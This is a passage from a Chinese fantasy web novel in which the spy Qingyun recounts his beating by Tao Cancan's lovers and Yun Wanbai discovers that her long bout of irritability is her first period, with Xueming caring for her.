陶灿灿实在舍不得浪费大好时光,便率先躺在了距离游船百米远的草地上,眯着眼睛晒太阳。 虽然她早已派人清空了日湖附近的人类,换自己的人手在附近值守着,但这里到底是人界,她可不想引起不必要的麻烦。 所以她只能遗憾地保持原形原地躺下,并没有换成白猫形态。 草地的气息很特别,很让人昏昏欲睡,陶灿灿只觉得自己的意识正在慢慢出逃,像陷入草浪一样随风逐流着。 忽然,陶灿灿的鼻尖一痒。 她倏地睁开眼,一把伸手想要抓住来人,只可惜对方很警惕,她的手里只抓住了半截狗尾巴草。 而始作俑者已跳出了三米之外,得意地看着她。 “青,云,”陶灿灿坐了起来,好笑地对他伸手,“赶紧还我。” “什么东西啊,”青云抱臂,还是那么的傲娇,“我看你是睡傻了吧。” 陶灿灿被毫无演技的青云逗笑了,但也装不出什么严肃的样子:“荷包,还我。” 她早就感觉到自己腰间的重量少了几分,再加上自己偷他荷包在先,他想原模原样报复回来的行为也是可以预见的。 只不过,他们才刚刚认识没多久,青云竟然就能这么自然地和她开玩笑,还真是自来熟。当然了,青云的玩笑也不冒犯,还是有分寸的。 她果然没看错人,青云就是一个真性情的家伙。 一直以来,陶灿灿都被大家放在“妹妹”这个身份上宠着。 但遇到青云之后,她罕见地体会到了当姐姐的滋味,连带着她表现出来的气质又不一样了起来。 “哼,还你。”青云没再辩解,把陶灿灿的荷包丢了回去,接着也一屁股坐在了草地上,毫不在意身上贵气逼人的衣服,折了一根草放嘴里叼着。 陶灿灿掂了掂荷包放回腰间,也坐在他身旁。 “没想到你真的会来赴约。”陶灿灿笑道。 “这怎么叫赴约,我只是没来过津州没见过日湖,碰上你那是赶巧了好吧。”青云态度强硬。 “嗯是是是。”陶灿灿附和,然后哈哈大笑了起来。 —— 云宛白和血冥经过乔装打扮,现在正在津州的一家茶楼包厢里吃点心。 云宛白心不在焉地放下了最后一块桃花酥,把它递给了血冥,托着腮轻轻叹了一口气。 “冥冥,你说青云他能成功吗?” “难说,不过青云机灵,应该还是能撑上几天的。”血冥从善如流地接过,顺手送进了自己的嘴里帮忙消灭。 “你说我们要不要过去看看青云的进度?”云宛白还是不太放心,眉头一直皱成一团。 虽然青云以优秀的成绩通过了潜伏考核,但当闺蜜的怎么可能不担心。 单论一个陶灿灿并不危险,可陶灿灿背后的势力实在是复杂。要是青云真的“幸运”地打入了内部,等待他的会是什么? “你放心,我已经在日湖边上安排了人手,让他们用传影石把影像传过来。” 血冥拿出了传讯石低语了几句,然后将一块晶莹剔透的晶石放置在了桌上,很快,浮空中便出现了断断续续的画面。 好在他们订了茶楼的一个单间,血冥又给包厢下了一个禁令,隐私性比较强。 云宛白立马凑了过去,大开眼界地哇哦了一声:“魔界居然还有这种好东西,你以前怎么不用?” “传影石的限制比较大,两枚传影石之间的距离不能太远,而且很容易受到干扰和误导,传来错误的信息。也就这个时候能用用。”血冥耐心解释道。 “哦哦明白啦。”云宛白胡乱应了两下,又眼巴巴地盯着屏幕。 血冥笑了笑,没在意她的心不在焉,凑上去帮她把碎发捋到了耳后。 就问这样的一幕,谁能把他和凶神恶煞的魔尊联想在一起? 传影石中的画面拍的比较远,避免太靠近而暴露了身份。 不过云宛白已经看到青云正和陶灿灿坐在游船上谈论着,想来进展应该是不错。 “相信青云,他能从仙界顺利逃到我这儿,就足以证明他的能力。”血冥安慰道。 “嗯嗯。” …… 半月后。 云宛白的身体已经完全康复了,被血冥帮忙淬了一次体后,她的修为正式到了结丹期的铜阶,并继续开始她的日常修炼来巩固修为。 不过为了能第一时间得到青云的信息,这些天她都一直老老实实待在魔殿,没有去极地冰原。 有了冥冥的心头血再加上淬过体,她现在修炼起来简直跟开了倍速一样快到离谱。 这种妖孽般的感觉太让人上头,枯燥乏味的修炼直接被简化的就跟喝水吃饭一样简单,就跟许多小游戏一样无脑简单但是非常上头。 虽然随着时间的推进,修炼的速度有所变缓,但她感觉自己距离从铜阶升银阶的时间也不远了。 要不是血冥怕她练伤了身体,云宛白真的可以沉浸式修炼上个十天十夜甚至更多。 就当她慢慢对青云的离开逐渐适应的时候,这一天,向来安静的大殿外忽然传来了一阵吵闹声。 “救驾,老白,快出来救驾呜呜呜……” 青云用尽全身力气干嚎了一嗓子之后,就再也没有多余的力气讲话了。 他哭丧着脸,一瘸一拐地进到大殿里,每一步都挪的极为艰难。 等他看到云宛白飞奔过来的身影时,一直支撑着他回到安全地点的意志力顿时消散一尽。 “老白~~呜呜呜~~”青云再也坚持不住,一屁股瘫软在地上,原地化为了赤顶鹤有气无力地闭上了眼。 这可把云宛白吓了一跳,她从来没有见过青云如此虚弱的模样。 就算之前两个人动气打架的时候,她也没有把青云揍得这么狠 过,甚至都给变回原形了。 “青云!!你你……你坚持住!我马上叫人!!” 云宛白扑通一声跪在了他的身旁,急的眼眶瞬间变红,她手忙脚乱地拿出一块传讯石向宿庚爷爷求救,又赶紧给血冥传了个简短的讯息。 做完这些之后,逐渐冷静下来的她马上叫上一旁值守的几位魔使,一起把青云安顿到房间里。 昏睡中的青云只觉得累极了,他浑身酸疼,什么都提不起劲。 这半个月的时光对他来说无比魔幻,好在他回家了,终于不用再过提心吊胆的日子了,想想就忍不住扯下一把辛酸泪。 等青云正式醒来,已经是一日一夜之后。 他缓缓睁眼,第一时间看到的就是老白和尊主,苏醒时那一瞬的惊慌瞬间被安心抚平。 “水……”他哑着嗓子喊道,力气恢复了少许。 血冥闻声掀眸,不禁露出了一抹惊喜,他轻轻推了推靠在自己肩膀上浅睡的乖乖。 乖乖是最担心青云的人,虽然血冥也不忍心叫醒陪了一整夜的她,但是要是让她知道青云醒来的第一时间自己没叫醒她,她一定会不高兴的。 云宛白迷迷糊糊地睁开眼,在血冥的示意下往青云看去,哈欠刚打了一半猛地停住。 “老青你醒啦!” “渴……” “好好好,喝水喝水。”云宛白有求必应,一把跳起来给他喂水喝。 血冥还不至于和青云生气,便在一旁看着乖乖亲力亲为忙前忙后,同时他也不忘传唤宿庚再过来瞧瞧情况。 宿庚虽是妖使长,但他医治妖族的水平实在高超,已经超过了他抓妖的水平,被钦点为了御用医师。 昨儿个他给青云上了药之后,青云的外伤基本上已经好了个七七八八,剩下的就只差静养。 宿庚诊断过了,青云最严重的不是外伤,而是他的心伤。 “你可不知道这些天我到底经历了什么啊!!” 刚恢复了一点精神头的青云不吐不快,立马大声哭嚎了起来,拉着云宛白和魔尊就是一顿诉苦,完全不管自己沙哑的嗓子。 他是受伤了,还是很严重的内伤! 要是不马上说出来的话,他会被憋死的。 云宛白哭笑不得,只好拉着冥冥一起听。房间内就只有他们三人,好让青云敞开了讲。 青云又喝了一杯水后,这才背靠着床头愤愤开口: “那日游湖之后,她便邀请我去一家烤肉店,还给我上了两坛子杨梅酒。” “烤肉我是吃过不少,但杨梅酒我还没喝过,我就跟着她去了。” “这酒味道不错,喝起来很酸甜,只不过它后劲很大,我也不知道什么时候就睡过去了,等我醒来的时候完全不知道我在哪儿。” “我醒来的时候还是半夜,房子看起来也怪怪的,我没见过。所以我就起来掀起门帘往外一看。” “嚯,你们猜怎么着,外头居然是大草原!” 第74章 第74章小心,她现在是爆炸形态…… 青云絮絮叨叨地讲述了他在被陶灿灿捡回到草原据点之后的事。 他当时被大草原吓了一跳,不过青云到底是见过世面的,震惊过后揉了揉眼睛就继续回蒙古包睡觉。 既来之则安之,他要好好享受难得的草原风情,哪怕当间谍,他也不能亏待了自己。 等到第二天陶灿灿来找他吃早饭的时候,被拐过来的青云随口抱怨了两句,这件事就算是翻篇了。 而后他就高高兴兴地接受了对方的安排,表现的十分洒脱。 他还催着让陶灿灿给他安排体验烤全羊和做奶茶,骑着马到处赶羊,玩的不亦乐乎。 他大大咧咧的表现和一如既往随遇而安的性格,很快就打消了陶灿灿的疑虑。 也许是美景作祟,又或者因为两人的独处实在惬意,陶灿灿在青云的面前意外的很是放松。 她不需要绞尽脑汁地去卖萌撒娇,不需要去思考每句话说出口之后的利弊,她只要和青云一起做自己就好,什么后果都不去管。 短短一天下来,出现在她脸上的真心笑容便多了太多。 人一放松,自然容易失去警惕。更何况青云本来就是话多的性子,有些事情直接问出口比绕着圈圈套路更能得逞。 经过他的追查,他证实了这片据点确实为陶灿灿私人所有,是一位岛主将这片无主草原的位置信息作为礼物送给她的。 草原所在的位置很隐蔽,正处于人界和仙界的交界处,偏偏又身处于被云雾环绕的断崖之下。 寻常人在看到断崖之后只会掉头离开,根本想不到跃下断崖后竟会是这样一片一望无际的无主草原。 所以,陶灿灿很是放心地带他来这,就是为了不让别人能找到他们,安心地玩上一段时间。 所以除了派一些极为信任的心腹在这里值守之外,陶灿灿没有让任何人进来过这里,而青云就是她的第一位客人。 当然了,陶灿灿也不是个什么话都往外说的大漏勺,对于青云这样有特殊身份的家伙,她还是很有警惕意识的。 至于青云想知道的那些无伤大雅的事实,她会酌情说出,也算是用来换取青云的信任,从他那里套出更多的信息。 在大草原上单独相处了十天左右,两个人的关系已突飞猛进,起码从表面上来看,他们之间的动作交流已经很是密切了。 陶灿灿对于青云的信任度也在逐渐增加,甚至考虑要不要带他回军营,跟其他人认认脸。 但青云除了大大咧咧的一面之外,也有他细腻贴心的一面。 他知道陶灿灿背负的压力很大,她的情郎们和她之间的关系除了感情维系之外,还有极其复杂的利益因素。 而自己应该是最“白身”的一个,没办法给陶灿灿带来助力,最多也就给她提供提供情绪价值。 所以如果青云加入到了陶灿灿的面首队伍当中,也很难跟大家处好关系,也会增加自己暴露的风险。 虽然他的任务就是要打探这些情郎们背后的势力消息,但目前他还没有在陶灿灿面前扎稳脚跟,更没办法和那些人直面对抗。 倒不如先在大草原上韬光养晦,逐步侵入陶灿灿的势力网中将他们化为己用,这才是最明智最安全的决定。 考虑好了这些之后,青云当即就向陶灿灿表示,如果可以的话他愿意在这大草原上生活一段时间,就当被她单独养在了这。 这番话一说出口,陶灿灿对他的怜爱之情更深几分。 她担心他受委屈,毕竟让青云当一个见不得光的存在,他的心里总会是失落的,更别说这竟然是他主动提出来的。 但青云安慰了她,很高兴地表示这大草原上的风光他很喜欢,还能在这里吃到他最爱吃的烤肉,就连烤全羊的技艺也能熟练不少。 而且最近他还在陶灿灿的支持下生出了想要学酿酒的心思,既然青稞能做奶茶,那用来酿酒是不是也行? 陶灿灿被他的乐观开朗给逗笑了,这种和年下谈恋爱的感觉当真不一样,她头一次体会到了男朋友很懂事是一种什么感觉。 在感情中真正身居高位的**居然是这样。 不像之前,虽然她也被大家宠爱地捧在手心,但每个人都只向她不断索取情绪,如果发 生了矛盾也都要求她做出退让。 可青云呢,他永远都只会替她着想,带给她的永远都是积极正面的情绪。 人心都是偏的,尤其在如此强烈的对比之下,陶灿灿自然会更偏向青云一些,也就依着他在大草原上住着,对他的态度比起之前要更好。 只是陶灿灿万万没有想到,变故发生的会如此之快。 也不知道是从哪儿走漏的消息,她的情人们居然发现了她和青云秘密据点,一窝人涌了过来让他们抓了个现行,与陶灿灿当面对峙。 他们很愤怒,原以为陶灿灿外出这么久是有正事要办,却没想到竟在大草原上谈情说爱,又给他们添了一名小兄弟,甚至还打算金屋藏娇。 而且这小兄弟带给他们的威胁也是最大的,明明没什么势力无依无靠,却偏偏独得陶灿灿的宠爱,让她将所有的空闲时间只与他一人分享,一相处便相处了十余天。 而他们呢?有好几个人把这几年和陶灿灿在一起的时光加起来都凑不出完整的十天。 而且他们要想让陶灿灿对多看一眼,就必须拿出背后的势力和利益来交换她的青睐和偏爱,这几乎就是明码标价。 这样的差别怎能不让人寒心,怎能不让他们愤怒。 只不过在与灿灿理论之前,他们得先把心中的这口恶气给出了。 还在懵逼中的青云完全没想到逃跑,等他意识到不对劲的时候,他已经被乌泱泱的一群男人们给围住了。 陶灿灿还算有良心,一直在大声尖叫制止他们,还上前将他们推开。 但陶灿灿对青云越是保护,就越激起他们的愤怒之心。 很快,青云只觉得头顶明亮的晴天瞬间变得灰暗了起来,他根本看不清哪拳哪脚到底出自谁手。 这一顿招呼让他痛的只能蜷缩在地上,跟被水淹没了一样根本没有任何喘息的机会。 要不是这些年他走南闯北练出了一身抗揍的本领,他早就痛的昏过去了。 不像现在痛归痛,但他还能分出一丝精力去辨别这些人的说话声。 青云能感觉得出来他们并不想要出人命,但凡直接施个法术往他身上一放,他的小命早就没了。 只不过这么多个人来围殴他一个,每人给个几拳几脚的也够青云喝一壶了。 挨揍到最后,青云的眼睛已经肿的再也没办法看清揍他的人的面孔,他老老实实合上眼,等待最终的结果。 按照眼前的情况,他想要继续埋伏下去的计划已然泡汤,就看要怎么处置他了。 抛尸荒野应该不至于,他听到陶灿灿在远处求情,在她的男人们面前时而哭泣时而愤怒的。 虽然把自己的命运交给一个相识不过十多天的女人手上,这听起来很是扯淡,但,这就是不争的事实。 过了好一会儿,已经昏过去一回的青云被叫醒,他见到了一个眼眶泛红、嘴边獠牙若隐若现的男人。 “我还记得这个家伙就是情郎团中最打头的一个,他跟陶灿灿吵起来也最凶,从他的外形和习惯动作来看,我估摸着这是一头狼的人形。” “而且我还听他提起了帝绝海、未绝妖军什么的,应该就是荼玉口中的发小狼亘。” “他把我丢到了津州的那艘游船上后就走了,大概也觉得冲我放狠话没有用,毕竟事情的源头都在陶灿灿那儿,就算少了一个我,也难保以后还会出现更多的白云紫云蓝云。” “还好我机灵,我特意在那艘游船上藏了一个荷包,里头是一些补充精力的药丸以及一枚联络魔谛门的密哨,要不然我连魔域都回不来。” 青云背靠床头抿了一口温水,咽下去之后哈了一声,感慨自己的先见之明。他青云果然就是一个天才间谍。 这次的潜伏之行虽然凶险,但也成了他今后可以大肆吹嘘的资本。 从今往后,他就是魔族大业的奠基人了! “除了狼亘之外,你还认出了谁的身份?”云宛白问道。 “不是我吹,我认出了所有。”青云得意。 “这伙人揍我的时候生怕我找不到人报仇,一个个在那里借着揍我的名义自报家门袒露心声。最好笑的是每个人还都在我面前轮番露脸,生怕我对不上号。” 青云光是想想那场面就觉得好笑,只是伤口被笑容牵扯,又疼的他龇牙咧嘴了起来。 那时候他眼睛都被打肿了,恨不得当场睡过去早点结束这折磨,但为了任务,他还是努力睁开眼睛把他们认全。 现在想想,他真的对当时的自己钦佩不已,太有毅力了。 这要是不多给他点奖励可说不过去。 血冥在旁听着也哭笑不得。 他们之所以派出青云,就是为了打探陶灿灿情人团的组成情况,想着能在一年半载内收获一些情报就已经算进度喜人。 结果青云根本不需要打入敌人内部,短短两周,一趟挨揍,就全给调查出来了。 你说这算个什么事儿? 趁着自己还算有精神,青云立马把他当时挨揍时听到的全部内容一五一十的跟老白和尊主同步。 不仅如此,他还给出了自己的推测。 揍他的人是都在那儿了,但他知道陶灿灿还有不少蓝颜知己,这些人没有被纳入情人范畴,但陶灿灿要是出了什么事儿,这些人背后的势力也都会出来相助,不能不防。 这些消息对魔界来说的价值极高,可能就连青云自己都没有意识到他到底做出了多大的贡献。 而且在他伤好之后,青云竟然只让魔尊给他吃不完的烤肉和一仓库的果酒,之前提到过的一些金银财宝都不要了,一点志气都没有。 还是血冥自作主张地给青云添了一大笔足够他用好几辈子的魔晶和各类法宝,还给了他魔谛门客卿长老的荣誉职位,就连领城最中心的商铺都匀给了他两家,专门让他做烤肉酿果酒,就一个只享受的甩手掌柜。 这么丰厚的奖赏把青云吓得连忙摆手,完全不敢接。 他是找尊主狠夸了一下自己,想多讨些奖赏,但他也不是什么贪得无厌的人,这么多东西他受不住啊。 但血冥的态度很是强硬,说什么都不允许青云拒绝。 一个为魔界做出巨大贡献的人竟然只要了这么些奖赏,这要是传出去了,哪还会有人给他魔尊来卖命? 被血冥和云宛白连番一顿洗脑,青云这才晕晕乎乎地收了下来,脚步打飘地飞了出去。 后来,这些消息被血冥同步给了神思渺,两人逐步制定了应对的计划,对证据进行了新的分析。 只不过计划的实现还是要交给神思渺来办,他最了解陶灿灿,也最知道要怎么才能拔出萝卜带出泥,从而找出更多的有利消息。 …… 按理说,随着这么大一件事情的尘埃落定,云宛白总算可以静下心来安心修炼了。 可不知道为什么,她最近的心情总是很差劲,脾气也变的极为易怒,一点点小事情都会让她瞬间爆炸。 拿一个最离谱的例子来说,就因为餐桌上多了一盘她不想吃的鱼,明明那盘鱼没放在她的面前也没人逼着她吃,她竟然把做一大桌子菜的宿庚爷爷给怼了一顿。 这可是她最敬爱的爷爷,她从来都没有莫名地和爷爷呛声过过。 事后,云宛白很忏悔地反省自己,可她还是控制不了脾气。 她不明白自己到底发生了什么,可越是细想,她的心情就越烦躁,连带着闷热的夏季都被他给恨上了,天天跑去极地冰原用手锤冰块发泄愤怒。 大家都对云宛白的反常表示不解,可怎么查都查不出原因。 不过,荼玉倒是从她身上闻出了一些不同寻常的味道。 第75章 第75章这么完美的男人,果然只…… 这种味道很奇特,像是血脉里曾经标记过的气味,但荼玉也分不清具体的意思。 这个发现他并没有贸然说出口,毕竟光从气味特殊性上来判断只能说是见仁见智,根本做不得数。 而且这只是他 一个人的感觉,就算说出口了,他也没有什么证据能够直接证明这股气味就和云宛白近来脾气的暴躁有关。 因此,出于种种考量,荼玉只是把这个猜测放在心里转了几圈,打算继续靠他自己去揣摩钻研云宛白背后的秘密, 而这些来自荼玉的视线,全部都被血冥收在了眼底,心生不满。 任凭谁家的宝贝女儿被人惦记上了,心情都不会很明朗。 血冥能够控制住自己不去对荼玉做些什么以示警告,就已经是他大度忍耐的极限了。 不管宿庚对荼玉到底有多看重,又到底给他支了多少的招。只要血冥在场,他就绝不允许荼玉留在他和乖乖的共同空间内,见着就心烦。 连带着当荼玉师父的宿庚也受牵连的多了不少的活,遭受了尊主无端的“锻炼”,逼着他不得不把荼玉召回来一起帮忙做事才能得出一丝空闲。 不过血冥心理也清楚,大家其实都在为乖乖失控的情绪问题找原因。 他性格当中排他性的那一面很难消解,以至于他见不得荼玉的出现,但他最关注的依然还是云宛白的心理状态,也想要帮她做点什么。 他知道乖乖最近的性格变得很奇怪,就连他自己也挨了不少骂,有时候还会被她的爪子暴揍几拳。 但面对这些“欺凌”,他什么怨言都没有,甚至更加担心起了乖乖,生怕她事后自责又陷入了低落情绪的泥沼中。 他知道表现的暴躁易怒并非乖乖的本意,她绝对是受到了什么刺激,一定有更加深层次的原因还没有被挖出来。 只是他派了再多的名医前来医治都没得到任何的结果,更不用说改善了。 他也试着向饕餮取经,想问问鹦鹉会不会出现和乖乖类似的症状,有没有经验可取。 可惜的是,饕餮也并不知情。 这下,走投无路的血冥陷入了长久的沉默。 他的乖乖可是全天下唯一的一只冰棘豹,就让他上哪儿去参考经验去。 眼见着形势陷入了僵局,血冥只觉得自己愁的连头发都快白了,却依然束手无策。 在找到最终解决办法之前,他唯一能给乖乖做的就是包容她所有释放出来的情绪,尽可能让她在发怒之后以最快的速度冷静下来,不要因生气而伤到了她自己的身体。 天气越来越炎热了。 长期处于暴躁状态下的云宛白变得恹恹了起来。 以往这个时候,她早就把大冰块全部都安排上,舒舒服服地趴在上面睡大觉,用凉爽来驱散她内心的烦闷。 可这回也不知道怎么的,她对冰块竟然都有了莫名的排斥,见着它就心烦,宁愿吹着热风躺在地板上吐舌头散热,也不愿意让任何一个冰块接近她,更不愿意去极地冰原纳凉。 血冥拗不过她,就只好由着她的性子来。 他倒是不怕热,魔界的夏季对他来说简直在舒适不过了。 他看着乖乖一副中暑了的模样天天有气无力地修炼着,他也跟着揪心,恨不得受折磨的人是他自己。 而作为当事人的云宛白,她也快被自己给折磨疯了。 别的影响都还好消解,最致命的还是睡觉问题。 觉要是睡不好,什么神仙药方都难救。 她现在睡觉很不安稳,经常眯着眼睛翻来覆去,好几个时辰都还清醒着。 她以前最喜欢的侧睡蜷缩睡姿都没那么的舒服了,而无论她怎么尝试想要找到新的入睡方式,最后都会以失败告终。 一个月了,整整一个月,她没有一天是睡了超过两个时辰以上的。 这下子她的脾气是没那么暴躁了(她根本没有力气发脾气),但是她的气血开始严重不足,两个大黑眼框简直比青云挨了揍之后的模样还要吓人,整个人虚弱无力宛如游魂。 云宛白很累很困,但只要一闭上眼睛就莫名精神。 天杀的,难不成她是喝了什么顶级咖啡导致她连续失眠了一个月吗!! 血冥心疼坏了,可他完全不知道自己到底能够帮上乖乖什么。 维持人形会消耗精力,他劝乖乖重新化为豹身,让她从加装的小床里出来,重新回到自己的魔榻上一起共眠。 这可不是马后炮,他已经劝了快一个月了,但乖乖每回都还是犟着不答应,非要靠她自己入睡,不让血冥进行干预。 但是到了现在这个份上,云宛白想不受干预都不行了。 她实在是顶不住失眠的攻击,在一天夜里主动来到了血冥的身旁,嗷了一声卷尾巴躺下。 血冥按捺住激动的内心,小心翼翼地分出一缕魔息,用它催动出一阵阵自然的清风吹向床榻,用缓和的方式帮乖乖降温。 这比冰块会温柔许多,也费力许多。 血冥侧躺着,他一手撑着脑袋,另一只手轻轻抚摸着乖乖的背,一下又一下地顺着毛哄她入睡。 能一整宿保持这样的姿势动作是一件很不容易的事,但血冥完全不觉得累,他看着熟睡过去的乖乖,心中只有怜惜。 以前的乖乖入睡轻松,再怎么样,一炷香的时间也绝对能够睡着。 而现在,即便有了血冥高强度的辅助哄睡,她一天最多也只能睡上三四个时辰,而且睡得还并不安稳。 这些由碎片拼凑出来的混乱无助的梦境,让她在入梦后也不停地转动眼球,有时候还会发出呜呜声。 这些表现都被血冥看在了眼中,愁的再也没有生出过笑意。 若是乖乖真的有病反倒能治,对症下药即可。可现在的问题是谁都查不出病因,除了影响乖乖自身的情绪和睡眠之外,也没有更多的不良症状。 这就很令人费解了。 所以现在只剩下最后一个没有办法的办法,那就是靠乖乖自己慢慢消化,让时间来让它好转。 又是一夜。 血冥半合着眼,手搭在乖乖的身上轻柔地拍着,再配上轻柔和缓的风声,这一幕很是安逸好眠。 血冥也有点困了,但他拍背的速度并没有受到影响,按照肌肉记忆继续保持着机械的动作。 就在这万籁俱静之中,他手底下的乖乖忽然浑身一僵,又过了好几秒,他感受到自己的胸膛被一只爪子轻轻推了推。 这段时间血冥刻意控制着自己保持浅睡,被乖乖这么一拍,他很快就睁开了眼,带着微不可查的困意问道:“怎么了?” 云宛白很小声地嗷呜了一句。 血冥没听清,还以为自己睡得有些迷糊了,他特意撑起身向着乖乖的方向凑去,又问了一句怎么了。 在这句话说出口之后,他闻到空气中似乎弥漫着血腥味,不确定地用鼻子嗅了嗅。 “不许闻!”云宛白气的给了他一拳。 但是做完这个动作之后,她的身体更僵了,两只爪子爪子狠狠抓着被子不动弹。 感受到腹中的一股暖流正在造反,云宛白总算知道这段时间令她暴躁易怒的根源到底是什么了。 靠,这穿书要不要这么的写实啊! 虽然她很想大大方方地把“月经”这两个字说出口,可她现在是一只冰棘豹,对自己的生长规律一无所知。 而围绕在她身边的还偏偏都是异性,她根本没有一个可以交流这方面经验的小姐妹。 算了,被冥冥知道总比被其他人知道要好,他应该还算是个靠谱的男人。 给自己狠狠做了一顿心理准备,云宛白深吸一口气: “冥冥,我应该是初潮了。” “除潮?”血冥还没反应过来,“什么除潮。” 他的大脑大抵是被困意袭击了,一时间没反应过来。 而当他的鼻子和大脑终于联动工作的时候,他的脸瞬间爆红,立马明白了乖乖的意思。 “额,我,你等等……” 血冥手忙脚乱地支起身体坐了起来,根本不敢往乖乖的方向看去。 “别动我被子!你,赶紧帮我去问问要准备什么。” 既然已经丢脸了,云宛白也就完全豁出去了,眼下只有血冥是 她最放心且能够使唤的动的,所以她命令起来也毫不客气。 被发号施令的血冥也终于有了主心骨,立马按照命令去办事。 其实他对于乖乖的成长早有预见,很早之前就在宿庚的提醒下将乖乖所需要的东西全都备好了。 加上他之前有过去布庄做衣服的经验,后来还乔装打扮成了一位单身父亲,以这样的身份侧面地向姑娘们打听了不少需要注意的事,从而收获了许多。 只是没想到,乖乖长大的这一天竟然来的这么快,这么的突然。 来不及伤春悲秋,血冥先把乖乖安排妥当,依然是以图解的形式向她讲解什么东西要怎么用,让她一身清爽地躺回到了小床上。 血冥做过功课,他知道这个时候的乖乖应该会怕冷,便用魔息炙烤了一块魔焰石,将它套入到了隔绝火焰的髯丝袋里递给了乖乖。 这么处理过后的魔焰石,能在一天一夜之内都保持着温暖而又不烫人的温度,可以让她放在手心或是放于腹前暖着。 他还了解到,虽然月经期间的乖乖很怕冷,但天气的闷热仍然会令她心情不畅。 血冥很快改变了风的方向,不让它再直吹着乖乖,而是通过墙面的反射缓慢带走屋内的闷热。 很多事情并不是他不会做,而是他根本不知道要怎么做。 现在他知道乖乖出现这么长时间的焦躁期的原因之后,他自然就能对症下药,交出令人满意的答卷。 等他做完这些之后,云宛白的情绪已经稳定很多了,她甚至都有些意外于血冥的贴心周到,优秀的简直像是另一个图层的男人。 你说这世界上会有这么完美的男人吗? 嗯……果然只有小说中才能见到。 没过多久,消失了一段时间的血冥又回来了,他的手里还端着一碗由红糖红豆花生桃胶熬制而成的热饮。 “你做的?”云宛白惊奇地接过。 血冥不好意思地点了点头:“你尝尝看?要是不合口味的话我之后可以酌情加糖减糖,或者换其他的料也可以。” 云宛白舀了一勺送到嘴里,眼神瞬间放光。 还真别说,味道确实不错,跟她在现实世界中点外卖拿到手的“姨妈热饮”水平差不多。 对云宛白来说,找到了自己的“病因”也算是了却了一桩心事,人一放松下来之后困意和恶意便同时袭来,令她胃口大开。 小口小口地将美食送入嘴中,腹中的不适正在被慢慢抚平,愤怒的情绪也逐渐平缓了下来。 这么一看,血冥还挺有贤夫良父的架势的。 “你去厨房做的?”云宛白有一问没一搭地开口。 她不想让场面静下来,她害怕一种尴尬的情绪会在寂静之后重新爆发出来。 “没去那么远,我之前在魔殿这里特意安置了一个小厨房,想着要是以后开火起来会比较方便,今天就派上了用场。” 血冥背着手,表情云淡风轻,只是他的指尖正轻轻捏着袖口,显得有些过分活泼。 第76章 第76章你个死嘴,张口啊!…… “噢~”云宛白煞有其事地点了点头,张嘴就想夸,但一时间也不知道该夸些什么,索性一个仰头就把剩下的半碗汤都给喝完了。 “还要再喝上一些吗?”血冥顺手接过了碗勺,又递上了一块手帕让她擦嘴。 云宛白摇头:“饱了。” “好。” 血冥把东西收拾走让乖乖重新躺好,又运给了她一些魔息来助她保持人形。 维持人形这件事情是乖乖极力要求的,虽然血冥不明白为什么,但还是依了她的心思。 他脑子里还在想自己有没有什么地方考虑的不周到,又或者还有什么方面能够做得更好,让乖乖能够更加舒心一些。 但遗憾的是,他的功课就只做了这些,再让他自己想出别的方面来他也是做不到了。 这一夜注定是慌忙混乱的。 等血冥再度回到屋子里的时候,乖乖已经抱着魔焰石睡着了。 云宛白酝酿了这么些天的“成长”总算结果落地,而长久累积的疲乏也终于找到了出口,在那片刻功夫全部涌现了出来。 她睡的很沉,根本不知道血冥就在床边坐了一夜。 等到第二天醒来,云宛白那叫一个神清气爽、满血复活。 虽然例假还没来完,但她的心情已经完全开朗了起来,见谁都是一个灿烂的大笑脸。 不怕笑话,起初她还以为自己是中了什么奇特的毒呢,特地抽了一天空去意识空间,可是把小说翻烂了也没找到是谁下的毒。 到了昨天晚上,让她困惑多日的疑难杂症总算是破案了。 我就说呢,为什么我的情绪莫名其妙那么的暴躁,原来是好久不见的大姨妈来敲门了。 也怪自己,穿书这么久竟然忘了这茬,我除了是一头冰棘豹之外,也是一名正常的女性啊。 再说了,谁家小说里会连上厕所来姨妈这种事也写出来,找不到判断的依据那是再正常不过。 这么一顿解释之后,云宛白很快就说服了自己。 不过算时间的话,自己来初潮来的也挺晚。一般化为人形之后没多久就该到时间了,可她不仅没来连一点前兆都没有,这拖着拖着就给忘了。 云宛白没有什么月经羞耻症,在现实世界的时候她就把卫生巾放在了能随手拉开的抽屉里,拿卫生巾的时候完全不会避着左右两边的男同事们。 到了穿书之后,她更不可能有所害羞。 这一天,她向一直关心着她的大家解释了这些天暴躁的原因,用词上丝毫不避讳,就连爷爷都没落下。 当然了,她在说明理由的同时也为前段时间暴躁易怒的自己向大家郑重道了个歉。 云宛白的态度很是一本正经,作为听者自然不好意思再害羞,纷纷向她表示了关心。 大概是因为云宛白大大方方的科普,让不少家中有妻女的男子感到心中有愧,他们回家之后还特意就此事关心了家人,多多了解了这方面的知识,顺势在魔界引发了一顿科普潮。 魔界中人本来就不像人界仙界避讳良多,在意识到了自己的疏忽之后,大家改变的速度也很快。尤其对亲人们月经时的不便,丈夫兄弟们都变得极为殷勤多多照顾,体谅她们的不易。 大概云宛白也没想到她还能给魔界带来这样的变化。 只是,在面对别人的时候她都能够做到谈笑风生,偏偏在血冥面前,她才会露出那么一点点的不自然。 那条火丝被是已经废了。 虽然冥冥有表示过可以洗洗再用,但当时遭到了云宛白的强烈反对,还要求他赶紧把这条被子扔掉。 血冥本来是有些不舍的,毕竟火丝被承载了他和乖乖共眠成长的珍贵回忆,他不想扔。 但是乖乖的态度很坚决,到后面甚至想把火丝被要过去,由她亲自销毁。 血冥没辙,只能听乖乖的意思忍痛处理了这条被子。 最重要的是他深知乖乖的窘迫,他不想让她不高兴。 乖乖成长的惆怅,也只有血冥自己一个人才能够体会。 关于乖乖“成人”的言论有很多,起初血冥还是感到欣慰的。 他把乖乖从掌心那么大点的冰棘豹慢慢养育成现在亭亭玉立的模样,内心的成就感和满足感无人能道。 可还没等他从欣慰和感伤的情绪走出来,就有一些令他极度不爽的言论冒出了头。 饕餮是最过分的一个家伙。 “哎呀,这日子过得真快,也不知道还有多久你就能当外公了,哈哈哈~”他抚须大笑,难以想象魔尊当外公的慈祥模样。 本来只想喝喝闷酒的血冥顿时被引导着去想象了一下那样的画面。 可越想,他的眉头皱的就越紧。 当外公? 和乖乖长得相像的小小豹冲他嗷呜嗷呜的样子尚且能接受,可要是在乖乖身旁冒出来另一个男人喊他“丈人”,而小小豹喊他“外公”的话…… 拳头硬了。 血冥跟被戳到 了痛脚一样愤愤离开,脸色变得很差劲。 光是想象他就觉得生气,更不用提这样的情形真的发生,他到底会作何反应。 不,他不允许这种情况发生。 